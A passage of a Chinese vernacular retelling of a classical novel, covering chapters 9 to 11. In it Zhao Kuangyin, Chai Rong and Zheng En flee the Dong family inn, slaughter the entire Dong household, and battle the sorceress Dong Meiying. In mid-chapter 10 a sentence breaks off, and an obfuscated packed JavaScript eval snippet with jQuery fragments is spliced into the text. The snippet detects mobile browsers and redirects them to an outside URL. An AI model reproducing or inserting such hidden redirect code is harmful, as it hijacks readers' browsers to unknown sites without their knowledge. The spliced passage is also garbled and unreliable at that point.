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董达哭丧着脸说:“爹,今天可把我害惨了!我去收税,遇到一个卖伞的,还有个红脸汉子,他们不仅大闹销金桥,还把我的人都打伤了。我本来想把那红脸汉子诱进九曲十八湾,让二魏帮忙抓他,没成想半路上杀出个黑汉子,手里拿着枣木棍,一下就把二魏打死了,我差点也被他打死,好不容易才跑回来。这仇要是不报,我咽不下这口气!” 那老头正是董达的爹董老虎,他把烟袋往桌上一磕,冷笑着说:“傻儿子,慌什么?你在外面打不过他们,爹坐在家里,不费吹灰之力就能让他们死无葬身之地。” 董达眼睛一亮,赶紧问:“爹,您有办法?” 董老虎眯着眼睛,声音压得更低:“刚才刘三来报,说店里来了三个客人,一个红脸,一个黑脸,还有个卖伞的,跟你说的一模一样——他们现在就在咱们的客栈里!我已经让刘三把前后门都锁好了,等他们睡熟了,你就去叫上家丁,咱们悄悄摸进去,把他们三个全宰了,神不知鬼不觉。” 董达兴奋得直拍手:“爹,您太厉害了!不过那黑汉子力气大,得多叫几个人才行。” 郑恩在外面听得清清楚楚,心里“咯噔”一下,冷汗都下来了:不好!咱们进了董达的老巢了!他不敢多待,赶紧转身往自己房间跑,推门就喊:“二哥!大哥!不好了!咱们跑到董达家的客栈了!” 赵匡胤和柴荣一听,都吓了一跳。柴荣本来就胆小,这会儿脸都白了,汗顺着额头往下流,差点瘫坐在地上:“怎……怎么会这样?他们……他们要干什么?”赵匡胤也慌了,搓着手来回走:“这可怎么办?咱们就三个人,他们有家丁,而且这客栈房间小,连个躲的地方都没有,打起来根本施展不开。” 郑恩见他们慌成这样,哈哈大笑起来:“大哥二哥,你们别怕啊!有我在呢!别说他们有家丁,就是来一百个人,我一棍子一个,保管让他们都趴在地上!” 赵匡胤摇摇头:“三弟,不是我怕他们,只是寡不敌众,而且这地方太窄,咱们占不了便宜。现在最好的办法是赶紧跑出去,到了外面的大路上,咱们才有胜算。” 柴荣急得直跺脚:“可他们把前后门都锁了,咱们怎么出去啊?插翅也难飞啊!” 郑恩一拍胸脯:“门出不去,咱们翻墙啊!我刚才去茅厕的时候,看见后院有个园子,墙也不高,翻过去就是大路。咱们赶紧走,别等他们来抓咱们!” 三人不敢耽误,赶紧收拾东西。郑恩扛着枣木棍走在前面,柴荣和赵匡胤推着伞车,往后院跑。到了墙根下,郑恩抬头看了看,墙也就一人多高,他往后退了两步,猛地往前一冲,手一撑墙,身子就翻了过去,跳在地上,回头喊:“大哥二哥,快!我接着你们!” 柴荣看着墙,心里直打鼓——他这辈子从没翻过墙,可现在也顾不上害怕了,他伸手抓住墙上的砖缝,脚蹬着墙,一点一点往上爬,爬到一半,手一滑,差点掉下来,郑恩赶紧伸手托住他的脚,使劲往上推。柴荣咬着牙,终于爬了上去,他闭上眼睛,纵身往下跳,“扑通”一声摔在地上,嘴唇被磕破了,流出血来,他疼得直咧嘴,却不敢出声,赶紧爬起来。 赵匡胤紧随其后,他身手比柴荣灵活,几下就爬上了墙,又把伞车举起来,递给墙下的郑恩和柴荣,然后自己跳了下去。三人推着伞车,顺着土路往前跑,刚跑出去没多远,就听见后面传来喊叫声:“别跑!抓刺客!” 回头一看,只见后面灯笼火把亮成一片,董达带着十几个家丁,手里拿着刀棍,正往这边追来。郑恩扛着枣木棍,回头骂道:“董达!你爷爷在这儿呢!有种你就过来!” 三人不敢停留,加快脚步,顺着大路往前跑,灯笼的光越来越远,可他们心里都清楚——这独龙庄的仇,董达肯定不会善罢甘休,以后的路,怕是更难走了。 正是: 灾祸和福气本没有固定的门路,都是人自己招来的; 善有善报,恶有恶报,就像影子一样,永远不会离开。 不知道后面追来的人会不会追上他们,想要知道后续,就看下一回吧。 10. 第 10 章 话说柴荣、赵匡胤、郑恩三人,扒着独龙庄的院墙翻出去后,刚跑没多远,就听见身后喊杀声越来越近,还有一片火光顺着路追过来。各位读者要问了,这追来的是谁?原来赵匡胤他们刚逃的时候,董达家的厢房周围连个人影都没有——董达他爹董老财当时正让董达去前院召集庄客,打算等众人到齐了,就把前门落锁、后门上闩,把三人困死在院里。也正因如此,董老财他们在前面等着凑人,压根没发现柴荣三人已经跑了。 等董达把庄客们叫齐,带着人回到后院时,已经是三更天了——按他们原计划,这时候正好该动手拿人。可一群人轻手轻脚摸进客房,抬头一看,屋里只剩锅碗瓢盆,连个人影都没见着,连郑恩白天没吃完的生米饭都被他揣走了,一粒没剩。董达气得脸都青了,立马带着众人从后门追了出来。这可真是应了那句话:既不掂量自己的德行,也不看看自己的本事,还像从前那样蠢笨行事,灾祸转眼就到。 郑恩回头看见追兵快赶上了,扯着嗓子喊:“大哥、二哥!你们看那群驴球入的,眼看就要追上来了!前面那黑糊糊的地方,看着像片林子,你们先把伞车推到那儿等我,我在这儿拦住他们,打发完这群废物就来跟你们汇合!”赵匡胤点点头,和柴荣一起推着放行李的伞车,头也不回地往前跑。郑恩则往后退了几十步,眼睛滴溜溜转着找藏身的地方——他虽说看着粗莽,可到了真要动手的时候,也有几分心思。 很快,郑恩看见路边立着块半人高的石碣,赶紧躲到石碣后面,眼睛盯着来路,等着追兵上门。没一会儿,就见后面来了百十号人,有的举着灯笼火把,有的扛着棍棒刀枪,挤挤挨挨的像群蜂、像群鸟,火把的光把路照得亮堂堂的。郑恩在暗处看得清楚,故意放第一拨庄客跑了过去——他要等的是领头的董达。 果然,第二拨人里,董达骑着马、提着刀,耀武扬威地往前冲,那模样仿佛下一秒就能把三人抓回去邀功。等马跑到离石碣只有几步远时,郑恩猛地举起手里的枣木棍子,先让过马头,接着纵身跳到马屁股后面,大喝一声:“驴球入的!别追了,赶紧回去见阎王爷吧!” 说时迟那时快,只听“啪”的一声闷响——董达压根没防备身后有人,被枣木棍子结结实实砸在头上。他连哼都没哼一声,头顶瞬间涌出鲜血,身子一歪就从马上摔了下来,手里的刀“当啷”掉在地上,当场没了气。这可真是:没机会在凌烟阁上留名,反倒把性命丢在了枉死城里。 还有一首诗专门说董达:本来想凭着蛮横在世上逞威风,却不知横行霸道会惹得老天发怒。当时人人都说他能靠着强收私税长久富贵,没成想转眼就落得个家破人亡的下场,一切都像泡影似的没了。 庄客们看见董达被打死,吓得倒抽一口凉气,可仗着人多,还是喊着围了上来,举着刀枪棍棒往郑恩身上打。郑恩却一点都不怕,把枣木棍子抡得像风车似的,左劈右打,活像个发怒的凶神,把庄客们打得哭爹喊娘。 再说赵匡胤和柴荣,推着伞车跑了没多远,就听见身后喊杀声震天响。赵匡胤停下脚步,对柴荣说:“三弟在后面断后,肯定遇上那群贼了。这大半夜的,咱们不知道他打得过打不过,大哥你先推着车往前走,我回去帮他一把,这样才能放心。”说完,他解下腰间的鸾带,对着风一抖,那鸾带瞬间变成了一根神煞棍棒,他提着棍子,转身就往回跑。 跑了大概半里地,赵匡胤就看见一群人围着打——大半的庄客举着兵器围攻,小半的人举着火把在旁边喊加油。他二话不说,举着棍棒就冲了进去,没一会儿就打倒了一二十个庄客。郑恩正打得兴起,眼角余光瞥见赵匡胤来了,高兴得大喊:“二哥!你可得好好帮我,别让这群废物跑了!” 兄弟俩并肩作战,棍子和枣木棒子交替着打,没一会儿就把百十号庄客打得落花流水,大半都被打死了,剩下的见势不妙,撒腿就往回跑。郑恩还不解气,又喊:“二哥!董达那驴球入的已经被我结果了,咱们索性一不做二不休,回独龙庄把他一家老小全宰了,省得留着后患,以后找咱们麻烦!”赵匡胤想了想,点头说:“三弟说得对,留着他们也是祸害。” 两人转身往独龙庄走,这时候已经快四更天了。到了董达家的店门口,推开门一看,刚才庄客们匆忙追出去,连锁都没锁。两人轻手轻脚走进去,刚穿过前院,就见一个店小二从屋里探出头来,问:“谁啊?这么晚了……”话还没说完,郑恩一枣木棍子下去,店小二当场被打得像张饼似的,没了气。郑恩嫌尸体挡路,一脚把尸体踢到墙角,接着和赵匡胤往院里走。 穿过中堂到了后院,遇上帮董达收税的帮闲,赵匡胤一棍子一个;碰到伺候董家的丫鬟婆子,郑恩的枣木棍子也没留情。两人正往前走,忽然看见一间屋子亮着灯,里面还有人说话。他们悄悄走到门边,侧着耳朵听——说话的不是别人,正是董达的爹董老财和董达的娘。 董老财叹着气说:“可惜啊,那么好的计划没成,白瞎了我一番心思,不知道怎么就走漏了风声,让那三个囚徒跑了。”董婆子接话:“咱家店里的计划没成,难道路上的埋伏也被他们逃了?这可白让儿子费了那么大劲。”董老财又说:“也怪不得儿子吃亏,那三个囚徒里,有两个特别凶——红脸蛋的那个还算好点,黑脸蛋的那个狗东西,凶得不像样,长得黑不溜秋的,跟庙里的周仓似的,手里还总拿着根木头棍子,肯定有点本事。想来这时候,儿子应该已经把他们结果了,也该回来了吧?”董婆子咬牙切齿地说:“但愿老天有眼,让儿子追上他们,先把那黑脸蛋的砍几刀弄死,我才能解气!” 郑恩在门外听得火冒三丈,肺都快气炸了——他最恨别人骂他黑,更恨别人想弄死他。他一脚踹开房门,冲了进去。董婆子抬头看见他,吓得“妈呀”一声,瘫在地上动弹不得。董老财更是魂都飞了,手脚发软,哆哆嗦嗦地喊:“不、不好了!那、那黑面贼……来、来索命了!快、快躲啊!” 郑恩根本不跟他废话,举起枣木棍子,大喝一声:“老贼!给我去死!”“啪”的一声,棍子正好打在董老财头上,脑浆和血一起流了出来,董老财哼都没哼就没气了。郑恩转过身,看见董婆子还瘫在地上,眼睛瞪得溜圆,却不敢动——她已经被吓得半疯了。郑恩举起棍子,又狠狠一下,把董婆子打得扁扁的,跟道士做法时压的符似的,也断了气。 这时候,董达的妻子王氏还在隔壁房里和衣睡觉。王氏有个外号叫“飞腿狐”——她长得漂亮,武艺还特别高,跟人打架要是打不过了,只要抬起腿一踢,不管对方是多厉害的好汉,被她踢中了就得吃亏。董达也是因为看中她的武艺,才娶了她,周围的人都怕她,就给她起了这么个外号。 王氏被外面的动静惊醒,悄悄从门缝里往外看——正好看见郑恩打杀董老财夫妇,还看见一个红脸蛋的汉子在旁边帮忙。她心里一紧,大喊:“有贼!”顺手从墙上的刀架上抄起一把锋利的泼风刀,推开门就跳了出去,对着赵匡胤劈头就是一刀。 赵匡胤压根没防备会有女人冲出来,眼看刀要劈到头上,赶紧往后一躲,才算避开。他定了定神,看见是个穿着睡衣的女人,心里松了点——他本以为是庄客回来了。可王氏见一刀没劈中,更生气了,反手又是一刀。赵匡胤举起神煞棍棒,往上一挑,“当”的一声,把王氏的泼风刀挑飞了,刀“哐当”掉在地上。 王氏慌了——她最厉害的就是刀法,刀没了,就想靠飞腿取胜。她刚要抬起右脚踢赵匡胤,没成想赵匡胤早有防备,一棍子扫过去,正好打在她腿上。王氏“哎哟”一声,摔倒在地上。郑恩赶紧跑过来,举起枣木棍子,对着王氏的头就打,王氏当场没了气,还保持着和衣躺卧的姿势,像是睡着了似的。 这时候,董家剩下的男女老幼听见动静,都从屋里跑出来,想往前后门逃。赵匡胤和郑恩哪里肯放?一个在前院堵,一个在后院拦,棍子和枣木棒子像扫落叶似的,把董家的人打得哭爹喊娘。郑恩还特意跑回中堂,拿了个灯笼出来,前后照着数了数——董家一共二十四口人,有几个还有气的,他又补了几棍子,确保一个活口都没留。 两人又在各房里搜了一遍,确认没人了,才走到“飞腿狐”王氏的房里——屋里摆着箱子柜子,看着就藏了不少钱。郑恩不管三七二十一,把箱子打开,看见里面装满了银子,赶紧喊:“二哥!快过来装银子,咱们路上当盘缠!”赵匡胤走过来,皱着眉说:“三弟,咱们带的盘缠够花,不用拿这些钱——这都是董家强收私税、刮老百姓的不义之财,咱们不能要。现在大害已经除了,别在这儿耽误时间,赶紧走。” 郑恩却不听,从柜子里翻出一条红绸子做的夹裤,把银子往裤兜里塞,直到塞得满满当当,才把裤腰系紧,又把两条裤腿对绑起来,做成一个包袱,背在肩上,提着枣木棍子就往外走。赵匡胤没办法,只好提着神煞棍棒跟在后面,两人一起出了董家的店门,往西边走。 这时候,天边已经泛起鱼肚白,公鸡开始打鸣,星星也渐渐淡了。两人走了大概一个时辰,到了一处坟堂——就是老百姓给死人修的、用来避雨的小屋子,里面还摆着个祭台。远远就看见柴荣坐在坟堂里打盹,眼睛都快闭上了。赵匡胤走过去,把他叫醒,把刚才杀董家满门的事说了一遍。 柴荣听了,又惊又喜,连忙说:“二位贤弟真是英雄!除了这一方的大害,可是积了大功德,老百姓都会感谢你们的。现在天快亮了,咱们赶紧赶路吧,别在这儿耽误,万一再遇上董家的人,就麻烦了。”郑恩却揉着眼睛说:“别急别急,我一夜没合眼,累得不行,就在这坟堂里睡一觉,歇会儿再走。”说完,他把枣木棍子往地上一扔,把红绸裤里的银子倒在伞车上,然后往祭台的石头上一躺,没多久就打起了呼噜,睡得特别香。柴荣和赵匡胤没办法,只好坐在旁边的石头上,也歇了歇,打了个盹。 咱们再说说董达的妹妹董美英。董美英今年十八岁,还没嫁人,长得亭亭玉立,模样特别娇美。她从小就去九盘山的九盘洞,拜盘陀老母为师,学了一身好武艺——弓马娴熟,能跟人打上千回合,还会“剪草为马、撒豆成兵”的法术。董达之所以敢在独龙庄横行霸道,甚至敢拦路收私税,就是因为有这个妹妹撑腰——他知道没人打得过会法术的董美英。 正巧前一天,董美英去东庄给她姑母祝寿,姑母留她住了一晚,没回独龙庄,所以压根不知道家里出了这么大的事。这天清晨,董美英刚起床,打算跟姑母告辞回家,就见二三十个浑身是伤的庄客跌跌撞撞跑进来,一看见她,就“扑通”一声跪下,哭着喊:“姑娘!不好了!出大事了!” 董美英心里一紧,赶紧扶他们起来,问:“出什么事了?你们怎么慌成这样?快跟我说清楚!”一个领头的庄客哭着说:“姑娘,咱家大爷……大爷被两个凶徒杀了!昨天那三个过路人不肯交私税,大爷跟他们打了一架,没打过,退回家里。后来大爷和老庄主定了计,想报仇,不知道怎么就走漏了风声,让他们跑了。大爷带着我们追出去,没成想反被那凶徒打死了!我们打不过他们,只好逃回来,路上又听说……听说老庄主、老夫人,还有家里所有的人,都被那凶徒杀了!我们特意来报信,求姑娘为家里人报仇啊!” 董美英听了这话,像被晴天霹雳劈中了似的,瞬间懵了——她爹娘疼她,哥哥宠她,家里虽说霸道,可对她却是千依百顺。她愣了半天,突然“啊”的一声,晕了过去。旁边的丫鬟赶紧掐她的人中,过了好一会儿,她才醒过来,一睁眼就放声大哭:“是哪个杀千刀的凶徒!把我爹娘、哥哥嫂子,还有一大家子人都杀了!这仇比山高、比海深,我不报仇誓不为人!我一定要抓住那些凶徒,把他们千刀万剐,才能解我心头之恨!” 姑母在旁边劝她:“美英啊,你别太伤心了,报仇也要从长计议,你一个姑娘家……”董美英哪里听得进去,一边哭一边喊:“姑母,不用劝我!我现在就去报仇!”她让人赶紧备马,又打开自己一直带在身边的包裹——里面装着她的盔甲和兵器。她麻利地穿上锁子连环甲,外面套上红锦征衣,系上绿战裙,腰间挂好钢鞭,背上宝剑,最后拿起两把柳叶钢刀,翻身上了自己的桃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16519275|186248||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 花马。 她让那些逃回来的庄客在前面引路,刚出东庄,就从锦囊中掏出一把黄豆、一把柴草,对着天空一撒,嘴里默念咒语,大喊一声:“变!”只见那些黄豆和柴草瞬间变成了成千上万的士兵和战马,浩浩荡荡地跟在她身后。董美英骑着马,带着“人马”往正南方向追——庄客说赵匡胤他们是往西边跑的,可她记着哥哥说过,西边是官道,怕他们绕路,索性往正南追,没想到还真追对了。 没一会儿,董美英就看见前面有处坟堂,坟堂外还停着一辆伞车——正是柴荣他们的。庄客们指着坟堂喊:“姑娘!就是他们!那些凶徒在里面!”董美英一挥手,那些“人马”立刻把坟堂团团围住,喊杀声震天响。 柴荣本来就没睡踏实,一听见喊杀声,吓得立马醒了,睁眼一看,外面全是人马,吓得心都快跳出来了,赶紧推旁边的赵匡胤:“贤弟!快醒醒!你看外面,咱们被人围住了,这可怎么出去啊?”赵匡胤本来在打盹,被柴荣一推,瞬间清醒,睁眼一看,也倒吸一口凉气——外面的人马密密麻麻,少说也有几千人。他赶紧去推郑恩,连推了好几下,郑恩都没醒,最后没办法,只好在他腿上打了一拳。 郑恩从梦里惊醒,揉着腿骂:“谁啊!敢打乐子?我正梦见跟个好朋友喝酒吃肉呢,你把我吵醒了,我跟你拼命!”赵匡胤又气又笑,说:“三弟,都什么时候了,还说梦话!你看看外面,咱们被人围住了,快想办法!”郑恩这才清醒过来,揉了揉眼睛,爬起来一看,外面果然全是人马。他提起枣木棍子,满不在乎地说:“二哥,这点人马怕什么?咱们打出去就是了!”赵匡胤点点头,提着神煞棍棒,和郑恩一起走出坟堂。 郑恩抬头一看,只见对面马上坐着个女子,穿着盔甲,拿着双刀,模样娇美,可眼神里全是杀气。他撇撇嘴,对赵匡胤说:“二哥,我还以为是什么三头六臂的怪物,原来是个娇滴滴的女娃娃,有什么好怕的!”赵匡胤也仔细打量董美英——只见她乌黑的头发梳成盘龙髻,用双凤金箍固定着,胸前挂着护心镜,腰间系着九股丝绦,脚上穿着凤头靴,踩在葵花镫里,骑着一匹桃花马,手里的两把柳叶钢刀闪着寒光,活脱脱一个英姿飒爽的女将军。 赵匡胤往前一步,高声问:“你这女子,姓甚名谁?看你年纪不大,有什么本事,敢带着人马围我们?这不是自寻死路吗?”董美英一看见赵匡胤的红脸蛋,就知道他是庄客说的“凶徒”之一,气得浑身发抖,大声说:“你这蛮横的贼徒!别在这儿装糊涂!我是董达的亲妹妹董美英!我跟你们无冤无仇,你们为什么杀了我哥哥,还把我爹娘、全家老小都杀了?这仇比海还深,我今天一定要抓你们回去,碎尸万段,为我家人报仇!” 说完,董美英一拍马,举起双刀就对着赵匡胤劈过来。赵匡胤赶紧举起神煞棍棒抵挡,两人瞬间打在了一起。你来我往打了二十多个回合,居然分不出胜负。旁边的郑恩看得着急,心里的火气又上来了,大喊一声:“你这泼婆娘!乐子来跟你拼命!”举起枣木棍子就冲上去,想帮赵匡胤。 董美英却一点都不怕,双手各握一把刀,像风车似的挥舞着,一会儿挡赵匡胤的棍棒,一会儿躲郑恩的枣木棍子,身形灵活得像只燕子,只看见刀光闪烁,却看不清她的人影。赵匡胤打了一会儿,心里暗道:这女子武艺真高,再这么打下去,咱们讨不到好,不如先让大哥和三弟走,我来缠住她。 他突然大喊:“三弟!你保护大哥先跑,我跟这女子分个高下,随后就来!”郑恩一听,赶紧收住棍子,跑到柴荣身边,说:“大哥,二哥让咱们先跑,他解决了这女娃娃就来追咱们!”柴荣本来就吓得不行,一听这话,哪还敢耽误,连伞车都顾不上了,跟着郑恩就往南边跑。郑恩在前面开路,举起枣木棍子,见人就打,硬生生从“人马”里杀出一条路,带着柴荣跑了出去。 董美英正跟赵匡胤打得起劲,一转眼就看不见郑恩了,偷眼往南边一看,才发现郑恩带着一个人跑了。她一边跟赵匡胤打,一边偷偷念咒语,用手往南边一指,大喊一声:“疾!”只见那些黄豆柴草变的人马,“呼呼”地往南边追过去,很快就追上了柴荣和郑恩,又把他们围了起来。 郑恩气得大骂:“你这驴球入的!还敢来讨死!”举起枣木棍子就往周围的“人马”打,可打了半天,那些“人马”还是围着,一点都不退。郑恩觉得奇怪——这些人怎么回事?打他们也不还手,骂他们也不说话,就站在那儿装样子。他皱着眉,把左眼闭上,只用右眼盯着看——这右眼是他小时候遇着个异人给开的“神眼”,能看穿妖魔鬼怪、邪术法术。 看了没一会儿,郑恩就看出了门道,对柴荣说:“大哥,你别害怕!这些围着咱们的不是真人马,是用黄豆和柴草变的!”柴荣一脸疑惑:“三弟,这明明是人啊,怎么会是黄豆柴草变的?”郑恩解释:“大哥,你不知道,这是董美英用的妖法,想吓唬咱们!你别担心,乐子有办法让这些假人马消失!” 各位读者要知道,董美英的法术本就是邪术,最怕的就是能看穿邪术的人。郑恩用神眼一看,那些“人马”瞬间就现了原形——地上铺满了黄豆和柴草,哪还有什么士兵战马?柴荣这才松了口气,拍着胸口说:“还好有你,不然我真要被吓死了!”郑恩笑着说:“大哥,咱们在这儿等二哥吧,他一个人跟那女娃娃打,我不放心。”柴荣点点头,两人就在原地等着赵匡胤。 再说赵匡胤和董美英,又打了四五十个回合,还是分不出胜负。董美英心里也暗惊:这红脸蛋的汉子武艺真高,我未必能打赢他,不如先问问他的底细,再想办法报仇。她突然把双刀一架,挡住赵匡胤的棍棒,说:“等等!我有话问你!” 正是这一问,引出后面的故事——董美英本是为报仇而来,却因一时痴情,忘了全家的血海深仇,想跟赵匡胤结为夫妻;可她这番痴心,在仇恨和武艺的较量中,却显得格外荒唐。真是:娇美的容貌还没实现嫁人的心愿,却先因为报仇陷入了刀光剑影的危险中。 不知道董美英要问什么,咱们下回再接着说。 11. 第 11 章 话说董美英和赵匡胤正打得难分难解,突然双手架住双刀,喊了声“停!我有话问你”。她身后的侍女春桃赶紧凑过来,小声劝:“小姐,这汉子下手狠,您别跟他多耗了。”董美英却摆了摆手,眼睛仍盯着赵匡胤——打了这小半日,她早看出这汉子身手利落,眼神里藏着股正气,不像那些只会欺负百姓的草寇,心里已悄悄动了念头,这会儿问姓名,哪儿是怕“斩无名之卒”,分明是想摸清他的底细。 “咱们打了这么久,我还不知道你姓甚名谁、家在何方。”董美英声音比刚才软了些,“我从不杀没名号的人,万一真伤了你,既污了我的刀,你死了也闭不上眼,你快说说吧。” 赵匡胤见她停了手,也松了松握着棍棒的手,心里却没放松警惕——这女子刀法刁钻,不像寻常山贼。他挑了挑眉,朗声道:“你要问我的名号,我也不是没名没姓、出身低微之辈。我姓赵,名匡胤,字元朗,家住在东京汴梁的双龙巷。我爹是当朝的指挥,我娘也受了朝廷的诰命封赏。我从小跟着师傅学武,就爱打抱不平。前阵子因为看不惯官府欺压百姓,怒杀了作威作福的女乐,没办法才离家出走,在江湖上闯荡,想找些志同道合的朋友结拜。” 他顿了顿,想起独龙庄的事,语气沉了沉:“那董达私设关卡收重税,做事没天理没王法,我已经在独龙庄结果了他的性命,他家里那些帮着作恶的人,也都被我处置了。这是他作恶太多,自找的报应,跟我可没半分多余的仇怨。你一个女子,本该躲远些保命,守好自己的清白,这才是正理,怎么反倒出来惹事?我的棍棒可不长眼,真要是伤了你的性命,到时候后悔都来不及——我这话可是真心劝你。” 董美英听他说完,心里更笃定了:原来他就是东京有名的赵舍人!早听说这人文武双全,今日一见,果然气度不凡。要是能跟他结为夫妻,自己这身本事也算没白费,就算有杀父之仇,慢慢解释总能化解。可婚姻是大事,怎么好直接说出口?她偷偷拽了拽春桃的袖子,春桃凑过来小声说:“小姐,不如编个谜让他猜?要是他猜出来,您再提亲事,也不丢面子。” 董美英点点头,定了主意,脸上却故意摆出凶相:“赵匡胤,你在东京也算有点名气,既然犯了罪逃出来,就该藏好姓名低调些,怎么还敢仗着本事行凶,杀了我一家老小?这事换谁都心寒。要拿你报仇,对我来说跟玩似的,但看在你父母年纪大了,还盼着你传宗接代的份上,我姑且留你一条命放你走。不过也不能就这么饶了你——我这儿有个谜,你要是猜得出来,算你天生有福气;猜不出来,今天你的性命就别想保住!” 赵匡胤一听,心里觉得好笑:这女子倒有意思,打不过就来这套?但他也想看看她耍什么花样,便说:“董美英,有谜你就快说,我来猜。要是你敢说些污言秽语,我可饶不了你。” 董美英深吸一口气,压着心里的紧张,念出谜来:“差人取救,失了公文。上梁竖柱,见字帮身。” 赵匡胤听完,脑子转得飞快:“差人取救”,“救”字没了“文”字旁,不就是“求”字?“上梁竖柱”是立起木头,加个“见”字,就是“亲”字——合起来不就是“求亲”?他脸色一沉,语气也硬了:“董美英,你这谜说白了就是想跟我求亲!我是堂堂男子汉,顶天立地,怎么会跟你这种做山贼的女子苟合?要是想再打一场,我奉陪到底;要是还存着这种心思,你就是不知羞耻的□□,连猪狗都不如,我怎么可能饶你!” 这话骂得董美英脸瞬间红了,跟着又变青——她好心求亲,反倒被这么羞辱,心里的火气一下子冲了上来。她柳眉倒竖,拍了拍马肚子,举着双刀就朝赵匡胤砍过去:“好你个没良心的!我好心劝你,你倒恶语伤人,今天我非教训你不可!” 赵匡胤赶紧举起棍棒格挡,两人又打了起来——马跑起来带起尘土,刀光棍影搅在一处,一个要出气,一个要自保,谁都没敢分心。 打了一会儿,赵匡胤突然心里一紧:刚才三弟郑恩陪着大哥柴荣先往前走了,那些追过来的人马要是还跟着,大哥三弟手无寸铁,怎么抵挡?我在这儿跟这女子耗着,要是他们出了差错,我这名声可就毁在这女子手里了,以后还有脸见人吗?不行,得先去找他们! 他打定主意,故意把棍棒往前虚晃一下,趁着董美英躲闪的功夫,拔腿就往正南边跑。董美英哪里肯放,拍着马就追了上去。 没跑多远,赵匡胤就看见柴荣和郑恩坐在地上喘气,刚才那些追来的人马居然一个都没了。他赶紧跑过去问:“大哥,刚才那些人呢?怎么不见了?” 郑恩一咧嘴,拍了拍身边的枣树棍,得意地说:“二哥,你不知道!那些人根本不是真的,都是豆草变的,被俺一棍子就破了他们的妖法!” 董美英正好追过来,听见郑恩的话,气得差点从马上摔下来——这妖法是她花了三年才学会的,居然被这黑汉子轻易破了!她在心里暗骂:“黑贼!有什么本事敢破我的法术?既然你们找死,我也不用留情了,今天就送你们一起上路!” 她立刻勒住马,双手捏着法诀,嘴里念念有词,最后大喝一声:“疾!” 瞬间,天就暗了下来,狂风卷着沙子往人脸上打,雷声劈里啪啦响,连站都站不稳。柴荣吓得浑身发抖,抱着胳膊喊:“完了完了,这可怎么办啊!”赵匡胤也慌了——他见过不少打斗,可从没见过这种妖法,一时间也没了主意。 只有郑恩,虽然也觉得风大得睁不开眼,但见大哥二哥怕成这样,反倒硬撑着站直了。他揉了揉眼睛,大声说:“大哥二哥别慌!肯定是这女娃娃搞的鬼,俺去看看,保管能破了她的法子!” 他说着,把眼睛眯成一条缝,再猛地一睁——还真看清了!董美英正坐在马上念咒,手上的法诀还没停。郑恩心里有了底,大步往前走,一边走一边解腰间的鸾带,把袍子掀了起来,露出浑身黑黝黝的皮肤,还有腿上的长毛。 “女娃娃!别在暗地里搞鬼,有本事跟俺正面打一场!”郑恩喊着,已经走到董美英马前。 董美英听见声音,低头一看——郑恩居然光着身子,那黑乎乎的东西露在外面,吓得她脸一下子红到了脖子根,尖叫一声:“羞死人了!”赶紧拨转马头往后跑。 风一下子停了,乌云也散了,太阳又出来了。郑恩哈哈大笑,提上袍子跑回来,拍着赵匡胤的肩膀说:“二哥,俺这破妖法的本事怎么样?” 赵匡胤松了口气,笑着说:“好,好,多亏了你。” 柴荣还在发抖,赶紧说:“那女子已经走了,咱们也快走吧,别再惹事了。” 郑恩却摇头:“不行不行!咱们的伞车还在那坟园里,里面还有好多银子呢,不能留给别人!大哥你在这儿等着,俺跟二哥回去取,很快就回来。” 柴荣赶紧劝:“二位贤弟,银子和货物都是小事,咱们能平安就好,还是趁现在赶紧走的好。” “大哥你就是太胆小了!”郑恩满不在乎地说,“就算她再搞妖法,俺也有办法破!你听俺的,保管没事。” 赵匡胤也觉得东西不能丢,说:“大哥,咱们回去取了货再走,应该没什么事。”说着,就和郑恩一起往回走,柴荣没办法,只好在原地等着。 再说董美英,跑出去没多远,又羞又气——她长这么大,还从没受过这种羞辱,可一想到赵匡胤的模样,又舍不得就这么放弃。“报仇是小事,要是错过了这么好的夫君,以后可就没机会了。”她咬咬牙,又拍着马往回走,正好和往回走的郑恩撞了个正着。 “好你个黑贼!居然还敢回来!”董美英气得举刀就砍。 郑恩赶紧用枣树棍挡住,故意把袍子又掀了掀,挺着肚子喊:“女娃娃,要不要再跟俺玩玩?” 董美英一看,又羞得满脸通红,赶紧掉转马头跑了。 就这么着,董美英来来回回跑了三次,每次都被郑恩用同样的办法羞走。春桃在旁边劝:“小姐,这汉子太粗鲁,赵公子又看不上您,咱们还是算了吧。” 董美英却摇头:“我不放弃!赵匡胤是难得的英雄,今天我一定要问个明白。”她第四次往回走,正好看见赵匡胤和郑恩,赶紧喊:“黑贼你别胡闹!我这次回来不是要打架,是有话要跟你们说!” 郑恩撇撇嘴:“有话快说!要是好听的就罢了,要是敢耍花样,俺再让你看看好东西!” 董美英没理他,直接看向赵匡胤:“赵匡胤,你刚才猜中了我的谜,却没说愿不愿意。我说话算话,今天必须问清楚——你到底愿不愿意跟我结亲?” 郑恩一听,赶紧拉着赵匡胤问:“二哥,什么谜?你快跟俺说说!” 赵匡胤无奈,只好把董美英编谜求亲的事说了一遍。 郑恩听完,皱着眉说:“二哥,这就是你的不对了!人家姑娘主动求亲,是好意,你怎么还不答应?怪不得她三番五次来找你打架呢!依俺说,你就应了这门亲事,既得了个媳妇,又少了个敌人,多好啊!” “三弟你别乱说!”赵匡胤立刻打断他,“我立志要做顶天立地的人,绝不会跟山贼结亲,这事没商量!” 董美英听见这话,最后一点耐心也没了,气得浑身发抖:“好你个赵匡胤!你无情,就别怪我无义!今天算你命不好,落在我手里——你看我的法宝!” 她说着,从腰间的豹皮囊里掏出一件东西——那东西有四五尺长,全身弯弯曲曲的,像钩子一样,是纯铜做的,闪着光。这就是她的看家法宝“五色神钩”,不管是兵是将,一钩就能抓住,从来没失手过。 董美英把神钩往天上一抛,大喝一声:“着!”瞬间,神钩周围冒出万道霞光,裹着一团团雾气,“唰”地一下就把赵匡胤钩住了。她又念了句咒语,往怀里一拽神钩,只听“咔嗒”一声,赵匡胤连人带棍被拉到马前,她一把把赵匡胤绑在马后,拍着马就跑。 